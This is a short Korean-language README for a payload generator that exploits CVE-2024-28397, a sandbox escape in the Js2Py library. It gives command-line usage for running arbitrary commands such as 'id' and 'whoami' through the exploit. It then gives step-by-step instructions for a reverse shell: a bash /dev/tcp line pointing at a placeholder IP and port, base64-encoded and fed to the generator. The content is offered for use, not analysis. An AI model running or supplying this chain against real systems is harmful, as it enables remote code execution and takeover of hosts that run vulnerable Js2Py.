CVE-2024-28397 - Js2Py 샌드박스 탈출 페이로드 생성기

이 스크립트는 객체 래퍼를 통해 Python 내부가 노출되는 취약한 환경에서 Js2Py가 평가할 수 있는 JavaScript 페이로드를 생성합니다.

사용법

기본 명령 실행:

python3 cve-2024-28397.py -c "id"

간결한 한 줄 페이로드 생성:

python3 cve-2024-28397.py -c "whoami" --compact

Base64를 사용한 리버스 셸

Base64 페이로드 생성:

echo 'bash -i >& /dev/tcp/IP/PORT 0>&1' | base64 -w0

Js2Py 페이로드 생성:

python3 cve-2024-28397.py -c "bash -c 'echo BASE64_OUTPUT | base64 -d | bash'" --compact

첫 번째 단계에서 생성된 Base64 문자열로 BASE64_OUTPUT을 바꾸세요.